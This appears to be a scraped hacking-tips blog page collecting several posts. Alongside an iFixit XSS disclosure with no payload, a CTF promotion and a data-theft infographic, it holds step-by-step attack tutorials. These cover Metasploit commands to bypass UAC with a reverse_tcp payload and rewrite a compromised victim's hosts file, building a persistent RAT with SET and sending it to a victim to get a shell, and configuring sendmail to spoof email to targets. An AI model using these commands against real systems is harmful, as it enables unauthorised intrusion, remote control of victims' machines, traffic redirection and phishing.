ifixit.com Stored XSS Vulnerability

<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhxuaK4gZ-02gNN8uQrnafEvNODgSCcYXIS2M5i8sbdnMbZUIx2b6nAb186DN9XYuWaJIn_uWMaRVvoSK-c0lqHbEtp3uecbjyS0ibeY1Nf1K6_wyqlGADu7bL_UsiztnPHTHZDfE5yJ88/s1600/3444991_300.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhxuaK4gZ-02gNN8uQrnafEvNODgSCcYXIS2M5i8sbdnMbZUIx2b6nAb186DN9XYuWaJIn_uWMaRVvoSK-c0lqHbEtp3uecbjyS0ibeY1Nf1K6_wyqlGADu7bL_UsiztnPHTHZDfE5yJ88/s1600/3444991_300.jpg" /></a></div><br />Well, it has been a long time, since i haven't posted any thing, i was a bit busy with my university exams, However, finally i managed to get some time to write something, Today i am sharing some of the vulnerabilites i found inside a popular website named "ifixit".<br /><br />I found two XSS one was a Stored XSS and a second one was a Self XSS, However the Self-XSS could have been easily exploited by <a href="http://www.rafayhackingarticles.net/2012/03/hijacking-facebook-users-clickjacking.html">Clickjacking</a> techniques as the page did not contain X-Frame options, Therefore the Self-XSS was also considered.<br /><a name="more"></a>I have created a short POC of the Stored Cross Site Scripting vulnerability (XSS), I hope you enjoy it:<br /><h4>iFixit Stored Cross Site Scritping [Video POC]:</h4><div class="separator" style="clear: both; text-align: center;"><object class="BLOGGER-picasa-video" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0" data-thumbnail-src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiCh231PqAjnAwXn89W-ORZgO2BXtB8yGdk3_vRXcE-9jGlXvjDA0hvKTCxCWncrU6hH_pMJVrfPxwckgglpyi_dyoogmFbc-BgkQw9zojACSk8-QMJGRkKcPorSzH3Fb1coX6QdisHTIo/s1600/IFIXIT+PERSISTANT+XSS.mp4" height="266" width="320"><param name="movie" value="http://video.google.com/googleplayer.swf?videoUrl=http%3A%2F%2Fredirector.googlevideo.com%2Fvideoplayback%3Fid%3D9d051db678d3e474%26itag%3D18%26source%3Dpicasa%26cmo%3Dsensitive_content%253Dyes%26ip%3D0.0.0.0%26ipbits%3D0%26expire%3D1359573833%26sparams%3Did%2Citag%2Csource%2Cip%2Cipbits%2Cexpire%26signature%3D378B4B2BA68625B19EB48547219A3B5EF20046F6.1D02A16C189B80C6132AD48CA50A719DE23CE000%26key%3Dlh1" /><param name="bgcolor" value="#FFFFFF" /><param name="allowFullScreen" value="true" /><embed width="577" height="266" src="http://video.google.com/googleplayer.swf?videoUrl=http%3A%2F%2Fredirector.googlevideo.com%2Fvideoplayback%3Fid%3D9d051db678d3e474%26itag%3D18%26source%3Dpicasa%26cmo%3Dsensitive_content%253Dyes%26ip%3D0.0.0.0%26ipbits%3D0%26expire%3D1359573833%26sparams%3Did%2Citag%2Csource%2Cip%2Cipbits%2Cexpire%26signature%3D378B4B2BA68625B19EB48547219A3B5EF20046F6.1D02A16C189B80C6132AD48CA50A719DE23CE000%26key%3Dlh1" type="application/x-shockwave-flash" allowfullscreen="true"></embed></object></div><h4>iFixit Self-XSS POC</h4><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj10EFLiiZpdx-jm7VsoJaMMZ90YuIuN49j1X9If3YBIKctf6_2R1SvVbvWrbvGWOEQ8rk8sRYbYwnCSJ6I4uUSYl09KCc6oezYAGiwuJmCHbZi365zoDOlfsfzbyHuGUkStCzv9Eb3zJ4/s1600/ifixit.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj10EFLiiZpdx-jm7VsoJaMMZ90YuIuN49j1X9If3YBIKctf6_2R1SvVbvWrbvGWOEQ8rk8sRYbYwnCSJ6I4uUSYl09KCc6oezYAGiwuJmCHbZi365zoDOlfsfzbyHuGUkStCzv9Eb3zJ4/s640/ifixit.png" width="577" /></a></div><br />For the above vulnerabilities, i was listed inside ifixit.com's responsible disclosure page:<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUEFYQ72Q8Ur7jmaGeWrlUQa52VmlwoFYTnCUtsTc5sglVYjWrF_Zvww_1eCqQPHx8ri-yYuzcshcmPqJgabpIVudN2bn7mZW4uXa7Q_Ns-nrJE-JAVKFI9jZgauZxD_ieGi1rvpIF81M/s1600/ifixit.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="604" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUEFYQ72Q8Ur7jmaGeWrlUQa52VmlwoFYTnCUtsTc5sglVYjWrF_Zvww_1eCqQPHx8ri-yYuzcshcmPqJgabpIVudN2bn7mZW4uXa7Q_Ns-nrJE-JAVKFI9jZgauZxD_ieGi1rvpIF81M/s640/ifixit.png" width="577" /></a></div><div class="separator" style="clear: both; text-align: center;"><br /></div>Along with it, they also sent me two T-Shirts, some stickers and a 54 bit driver toolkit:<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhtNiRuUnnHDYytLHzl-BXDZH5BOpIqHg3m7ZV8Sfip0_msAZeu4uEZrxnBrjFft5nowVQgatoSUgt90dghhRHFltaTXFZTxOpN8pDexemSZPud3jwoEHuakJJduZ2UT4iBDArGubH-h-w/s1600/IMAG0545.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="428" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhtNiRuUnnHDYytLHzl-BXDZH5BOpIqHg3m7ZV8Sfip0_msAZeu4uEZrxnBrjFft5nowVQgatoSUgt90dghhRHFltaTXFZTxOpN8pDexemSZPud3jwoEHuakJJduZ2UT4iBDArGubH-h-w/s640/IMAG0545.jpg" width="577" /></a></div></div>

ifixit.com Stored XSS Vulnerability

Well, it has been a long time, since i haven't posted any thing, i was a bit busy with my university exams, However, finally i managed t...

+ Read more »

D.N.S. poisoning using metasploit.

<div dir="ltr" style="text-align: left;" trbidi="on">Today we will edit hot file of the Remote P.C which has been compromised. By editing Host file you can Redirect any website to any I.P address. Absolutely we will use metasploit.<br /><br />(1)Hack remote p.c .(<a href="http://tipstrickshack.blogspot.in/search/label/metasploit" target="_blank">How to hack Remote P.C.?</a>)<br /><br />(2)Now we will Bypass U.A.C. protection of windows.<br /><br />(3)Open Terminal & type following code in terminal<br /><br />msfconsole<br /><br />use exploit/windows/local/bypassuac<br /><br />set payload windows/meterpreter/reverse_tcp<br /><br />set lhost 192.168.1.6<br /><br />set session 1<br /><br />exploit<br /><br />(4)Now we will edit host file.<br /><br />msf >use post/windows/manage/injet_host<br /><br />msf post(injet_host) >set domain www.google.com<br /><br />msf post(injet_host) >set ip Your Desired I.P.<br /><br />msf post(injet_host) >set session 2<br /><br />msf post(injet_host) >exploit<br /><br />This will Redirect google.com in victim p.c to your desired I.P.<br /></div>

D.N.S. poisoning using metasploit.

Today we will edit hot file of the Remote P.C which has been compromised. By editing Host file you can Redirect any website to any I.P addre...

+ Read more »

How to use R.A.T. through S.E.T?

<div dir="ltr" style="text-align: left;" trbidi="on">RAT is Remote Administration tool , using RAT you can control Remote P.C. ,there are lots of software available for RAT , but they are made from hackers, there is possibility of back-door in that readily available software. So today we use RAT through Social engineering toolkit(SET).<br /><br />(1)Open your terminal & type<br /><br />cd /opt/set<br /><br />./set<br /><br />(2)update your set<br /><br />(3)Now select option 3 which is Third party Modules<br /><br />(4)Now select option 2 which is RATTE (Remote administration tool tommy edition).<br /><br />(5)Enter I.P. Address of your computer to connect back<br /><br />(6)Port RATTE Server should listen on [8080]: press enter<br /><br />(7)Should RATTE be persistent [no|yes]?:yes<br /><br />(8)Use specifix filename (ex. firefox.exe) [filename.exe or empty]?:cool.exe<br /><br />(9) Payload has been exported to src/program_junk/ratteM.exe<br /><br />(10)Now send your ratteM.exe files to victim, as soon as they download and open it<br /><br />Start the ratteserver listener now [yes|no]:yes<br /><br />(11)chose 1 option which is list client<br /><br />(12)if the payload been executed successfully, then you will see a new session and the client details. Note down the session number. Enter the session you want to interact with:press 0 here<br /><br />Now choose option2 “activate client”<br /><br />Now you get menu with lots of menu. Select 1st option which is start shell.</div>

How to use R.A.T. through S.E.T?

RAT is Remote Administration tool , using RAT you can control Remote P.C. ,there are lots of software available for RAT , but they are made ...

+ Read more »

Hackers Get Your Team Ready - CTF 365

<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiKFXtdA02atYmRiaH7dDmoi-TGIU1dWFP2AqYFV1yoZrTokv8pJ62qI485w4TWQdU-YO0ly7t9gNy5zx_NXvn_53gmHJM9NeEU1HTTTF0z4exPwArmkYWM0g3J5Ye0BMqUxXVzeIMwqfU/s1600/RafayBalog+-+CTF+Article_html_7ef5ca07.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiKFXtdA02atYmRiaH7dDmoi-TGIU1dWFP2AqYFV1yoZrTokv8pJ62qI485w4TWQdU-YO0ly7t9gNy5zx_NXvn_53gmHJM9NeEU1HTTTF0z4exPwArmkYWM0g3J5Ye0BMqUxXVzeIMwqfU/s1600/RafayBalog+-+CTF+Article_html_7ef5ca07.png" /></a></div><br /><br /><div style="margin-bottom: 0in;">When it comes to infosec industry we all know that practice is the best way to learn how to defend and protect your system and more important how to find vulnerabilities and flaws within the systems you are after. This is a never ending training and the way you can do it most intensely and extensively is on CTF competitions. </div><div style="margin-bottom: 0in;"><br /></div><div style="margin-bottom: 0in;">Today's <b>CTF</b> are becoming more and more complex and engaged. You can find from level based CTF's where you have to pass a level in order to get access to the next, up to more sophisticated systems that mimic different scenarios like internet bank phishing, to complex money laundering scenarios up to attack and defend games where each team get a server full of vulnerabilities or flaws and teams have to patch it while other members exploits the other teams servers.</div><div style="margin-bottom: 0in;"></div><a name="more"></a><br /><div style="margin-bottom: 0in;">Any good thing comes with bad things too. Beside their value as an alternative to infosec training labs, there are also some cons. CTFs are held yearly, spread it all over the world, held for short period of time, far from the real world internet (e.g. no DoS or DDoS attacks allowed). Most of them fall into oblivion, even though they are fun.</div><div style="margin-bottom: 0in;"><br /></div>We at CTF365 decided to change CTF competitions for the better and we promise to blow your expectations. We'll simply build an internet within The Internet where everything will be possible. Well, almost everything. Routers, switches, networks, DoS or DDoS attacks, you name it.<br /><em>CTF365 is World of Warcraft for Hackers except that instead of fighting in a fantasy world, with imaginary powers against imaginary characters, CTF365 will replicate the real world as much as possible, and you will have to fight with your own real tools... hacking tools. </em><br /><em><br /></em><em>B</em><em>ackTrack, Metasploit, Nmap, BackBox Linux or whatever you choose to use as weapons. You will have your own Fortress (your own server) to defend, with your own network, routers, and switches. You will build your own team and we will provide you with RTTK – Red Team Tool Kit for team communication and many more features. There will be as few rules as possible trying to get to the perfect cyber wargame: No rules at all.</em><br /><em><br /></em><strong>CTF365</strong> will provide the infrastructure VPS included.<br /><br /><div style="margin-bottom: 0in;">This is CTF365 team's goal. To create an internet within the real internet, a place where everybody can hack others machines while protect their own and become better and better in their day-to-day trainings.</div><div style="margin-bottom: 0in;"><br /></div><div style="margin-bottom: 0in;">CTF365 will test the teams for both defensive and offensive skills and its goal is to make players to become better at what they love to do most; offensive and/or defensive security. Having a place full of different kind of systems give players the opportunity to feel like in real life when you don't know what it'll be around the coroner.</div><div style="margin-bottom: 0in;"><br /></div><div style="margin-bottom: 0in;">As a system administrator you and your team can experiment new configurations without the fear that something wrong can happen or you can simply train your skills to protect your system. CTF365 is the ultimate testing field for servers administrators and pentesters.</div></div>

Hackers Get Your Team Ready - CTF 365

When it comes to infosec industry we all know that practice is the best way to learn how to defend and protect your system and more importan...

+ Read more »

How to install & configure send mail in Ubuntu?

<div dir="ltr" style="text-align: left;" trbidi="on">Send mail is program which will help you to send email through command, you can send email from terminal or CMD . In this program we use our machine as a server. I will show you how to install & configure Send-Mail. So we can spoof email to targets. But problem is that this email is detected as spam due to automatic sending through machine.<br /><br /><h3 style="text-align: left;">How to Install Send-Mail?</h3><br />Open terminal & type following command in terminal.<br /><br />sudo apt-get install mailutils<br /><br />sudo apt-get install sendmail<br /><br /><br /><h3 style="text-align: left;">How to configure it?</h3><br />After installing sendmail , you should configure sendmail. It`s little hard. But don`t worry after that we can spoof email to anyone.<br /><br />Type following command on terminal<br /><br />sudo gedit /etc/mail/sendmail.mc<br /><br />It will open sendmail.mc file.<br /><br />For example your last two lines are as follow<br /><br />MAILER(`local')dnl<br /><br />MAILER(`smtp')dnl<br /><br />Put this code before that two lines.<br /><br />MAILER_DEFINITIONS<br /><br />define('SMART_HOST',`smtp.gmail.com')<br /><br />Ok. now close that file<br /><br />Now we will generate configure file from .mc file so type following command in terminal.<br /><br />sudo bash -c 'cd/etc/mail/ && m4 sendmail.mc >sendmai.cf'<br /><br />Now everything is complete, try to send mail using terminal or use <a href="http://tipstrickshack.blogspot.com/2012/12/how-to-install-social-engineering.html" target="_blank">Social Engineering Tool-Kit</a> as i mention in previous post. <br /><br /><br /><h3 style="text-align: left;">How to send mail through Command?</h3><br />open terminal and type following command.<br /><br />telnet 127.0.0.1 25<br /><br />HELO server<br /><br />MAIL from:sender`s email address<br /><br />RCPT to: Recipient address<br /><br />DATA<br /><br />Subject:Test mail<br /><br />from: sender`s email address<br /><br />to: receiver`s address<br /><br />Test Mail <br /><br />.<br /><br />quit<br /><br /><br />Now check spam folder of receiver`s email , you got email . Now check show original option of email , you can see that i.p. of computer , o.s. , many other things. <br /><br /></div>

How to install & configure send mail in Ubuntu?

Send mail is program which will help you to send email through command, you can send email from terminal or CMD . In this program we use our...

+ Read more »

How to install social engineering toolkit(S.E.T.) in ubuntu?

<div dir="ltr" style="text-align: left;" trbidi="on">Social Engineering Tool kit is cool tool which came with BACKTRACK, this increase power of metasploit. If you are on any linux system other than BACKTRACK , then you can install it .<br /><br /><a href="http://tipstrickshack.blogspot.com/2013/01/how-to-move-set-to-github.html" target="_blank">Updated:This article was written when S.E.T. use SVN. Now it`s move to github. So please click here to new installation method.</a> <br /><br />Extra package which is necessary to use SET effectively are as follow.<br /><br />(1)Metasploit:- You can see my old post about how to install metasploit in ubuntu <a href="http://tipstrickshack.blogspot.com/2012/09/how-to-install-metasploit-in-ubuntu.html" target="_blank">here</a>.<br /><br />(2)Ettercap:- If you are on any network & want to attack on network like Man in the Middele Attack or DNS poisoning then you require it.<br /><br />To install Ettercap open terminal in type following command:-<br /><br />sudo apt-get install ettercap<br /><br />(3)Openjdk-6-It`s necessary program to use SET. Just type following command in terminal<br /><br />sudo apt-get install openjdk-6-jdk<br /><br /><br />Now open terminal & change directory to opt.<br /><br />sudo bash<br /><br />cd /opt<br /><br />svn co <a href="http://svn.secmaniac.com/social_engineering_toolkit%20set/" target="_blank">http://svn.secmaniac.com/social_engineering_toolkit set/</a><br /><br />cd /opt/set<br /><br />svn update<br /><br />nano config/set_config<br /><br />Now we will configure it. First it require metaspolit path . So we will put it on configure file. Here comes problem , in first step we install metasploit , it`s directory is opt/metasploit-4.4.0/msf3. But when we put this path in configure file it cannot detect metasploit . So we have to rename metasploit-4.4.0 to framework3. So rename metasploit-4.4.0 folder name to framework3.<br /><br />Put opt/framework3/msf3 this path in config file. Save it.Type in terminal.<br /><br />./set<br /><br />It will open SET .<br /><br />In next tutorial I will show you how to configure sendmail & use it in set.<br /><br />I Know I cannot explain good, So if you face any problem please mention in comment.<br /><br /><a href="http://tipstrickshack.blogspot.com/2013/01/how-to-move-set-to-github.html" target="_blank">Updated:This article was written when S.E.T. use SVN. Now it`s move to github. So please click here to new installation method.</a></div>

How to install social engineering toolkit(S.E.T.) in ubuntu?

Social Engineering Tool kit is cool tool which came with BACKTRACK, this increase power of metasploit. If you are on any linux system other ...

+ Read more »

The Story Behind, How The Data Was Stolen

<div dir="ltr" style="text-align: left;" trbidi="on"><div dir="ltr" style="text-align: left;" trbidi="on">No one likes to hear the bad news that their computer, email, or phone has been hacked and the data stored in it has been plundered by cyber criminals. And hearing this news during the end of the year with Christmas approaching can only be the Grinch’s cherry on top to a year of disastrous security failures. But the sad fact is many more people are being faced with this problem as Grinch-like hackers continue to steal data on an increasingly significant basis. We may think that we are safe from the problem but in reality we are right in the midst of it, with internet giants coming under the radar as well!<br /><br />Armed with keyloggers, Trojans, backdoor exploit methods and whatnot; these Grinches are pulling for the grand finale as 2012 comes to a close. Of course, this means that the data Industry has been lacking some major incentives and preventive measures that allowed these criminals to slip in between the cracks and make off with our data. The data breach investigations report is a pictorial representation of the actual scenario; read it to figure out the happenings.<br /><br /></div><a href="http://www.mobistealth.com/blog/wp-content/uploads/2012/12/grinch_data_theft.jpg"><img alt="" border="0" src="http://www.mobistealth.com/blog/wp-content/uploads/2012/12/grinch_data_theft.jpg" width="577" /></a><br />Source: <a href="http://www.mobistealth.com/" rel="no follow">MobiStealth.com</a></div>

The Story Behind, How The Data Was Stolen

No one likes to hear the bad news that their computer, email, or phone has been hacked and the data stored in it has been plundered by cyber...

+ Read more »